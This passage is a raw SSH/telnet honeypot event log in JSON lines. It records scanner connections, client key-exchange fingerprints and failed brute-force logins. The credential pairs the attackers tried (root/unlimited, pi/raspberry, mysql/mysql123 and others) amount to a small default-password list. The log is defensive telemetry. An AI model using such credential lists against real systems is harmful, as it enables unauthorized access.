2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:37.501956Z","src_ip":"62.133.62.83","session":"85106d979494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unlimited","message":"login attempt [root/unlimited] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:37.759517Z","src_ip":"62.133.62.83","session":"85106d979494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:37.907663Z","src_ip":"198.1.75.59","session":"7ca92dcacb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:38.443955Z","src_ip":"45.156.87.253","session":"0f36d06bc172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:38.845428Z","src_ip":"62.133.62.83","session":"85106d979494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43482,"dst_ip":"10.17.0.5","dst_port":22,"session":"33a670021a08","protocol":"ssh","message":"New connection: 45.156.87.253:43482 (10.17.0.5:22) [session: 33a670021a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:40.180790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:40.184045Z","src_ip":"45.156.87.253","session":"33a670021a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:40.264336Z","src_ip":"45.156.87.253","session":"33a670021a08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:40.602177Z","src_ip":"45.156.87.253","session":"33a670021a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:41.685289Z","src_ip":"45.156.87.253","session":"33a670021a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.00839018821716,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:43.214438Z","src_ip":"107.6.151.170","session":"7cc6f19cfc88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43486,"dst_ip":"10.17.0.5","dst_port":22,"session":"fca71557c992","protocol":"ssh","message":"New connection: 45.156.87.253:43486 (10.17.0.5:22) [session: fca71557c992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:43.648723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:43.652046Z","src_ip":"45.156.87.253","session":"fca71557c992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:43.732579Z","src_ip":"45.156.87.253","session":"fca71557c992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:43.975266Z","src_ip":"45.156.87.253","session":"fca71557c992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:45.059256Z","src_ip":"45.156.87.253","session":"fca71557c992","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43490,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf4eb676b14b","protocol":"ssh","message":"New connection: 45.156.87.253:43490 (10.17.0.5:22) [session: cf4eb676b14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:46.967125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:46.971294Z","src_ip":"45.156.87.253","session":"cf4eb676b14b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":54910,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7979ac629e6","protocol":"ssh","message":"New connection: 103.77.175.15:54910 (10.17.0.5:22) [session: b7979ac629e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:47.049894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:47.053479Z","src_ip":"103.77.175.15","session":"b7979ac629e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:47.058411Z","src_ip":"45.156.87.253","session":"cf4eb676b14b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:47.278970Z","src_ip":"103.77.175.15","session":"b7979ac629e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:47.303503Z","src_ip":"45.156.87.253","session":"cf4eb676b14b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:47.949982Z","src_ip":"103.77.175.15","session":"b7979ac629e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:48.386137Z","src_ip":"45.156.87.253","session":"cf4eb676b14b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34426,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c102f14cb6a","protocol":"telnet","message":"New connection: 107.6.151.170:34426 (159.203.135.109:23) [session: 0c102f14cb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:48.401978Z"}
{"eventid":"cowrie.session.closed","duration":0.0038056373596191406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:48.405644Z","src_ip":"107.6.151.170","session":"0c102f14cb6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:49.175024Z","src_ip":"103.77.175.15","session":"b7979ac629e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41428,"dst_ip":"10.17.0.5","dst_port":22,"session":"c646016210c4","protocol":"ssh","message":"New connection: 45.156.87.253:41428 (10.17.0.5:22) [session: c646016210c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:50.355124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:50.360942Z","src_ip":"45.156.87.253","session":"c646016210c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:50.441774Z","src_ip":"45.156.87.253","session":"c646016210c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:50.685343Z","src_ip":"45.156.87.253","session":"c646016210c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:51.769463Z","src_ip":"45.156.87.253","session":"c646016210c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41434,"dst_ip":"10.17.0.5","dst_port":22,"session":"8898bb3ee74b","protocol":"ssh","message":"New connection: 45.156.87.253:41434 (10.17.0.5:22) [session: 8898bb3ee74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:53.714397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:53.718214Z","src_ip":"45.156.87.253","session":"8898bb3ee74b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:53.798610Z","src_ip":"45.156.87.253","session":"8898bb3ee74b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:54.041346Z","src_ip":"45.156.87.253","session":"8898bb3ee74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:55.124404Z","src_ip":"45.156.87.253","session":"8898bb3ee74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":41442,"dst_ip":"10.17.0.5","dst_port":22,"session":"5814bd36bade","protocol":"ssh","message":"New connection: 45.156.87.253:41442 (10.17.0.5:22) [session: 5814bd36bade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:56.965153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:56.967531Z","src_ip":"45.156.87.253","session":"5814bd36bade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:57.107282Z","src_ip":"45.156.87.253","session":"5814bd36bade","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:57.546193Z","src_ip":"45.156.87.253","session":"5814bd36bade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:58.629246Z","src_ip":"45.156.87.253","session":"5814bd36bade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":60394,"dst_ip":"10.17.0.5","dst_port":22,"session":"8184a73a4359","protocol":"ssh","message":"New connection: 45.156.87.253:60394 (10.17.0.5:22) [session: 8184a73a4359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:00.362401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:56:00.366352Z","src_ip":"45.156.87.253","session":"8184a73a4359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hm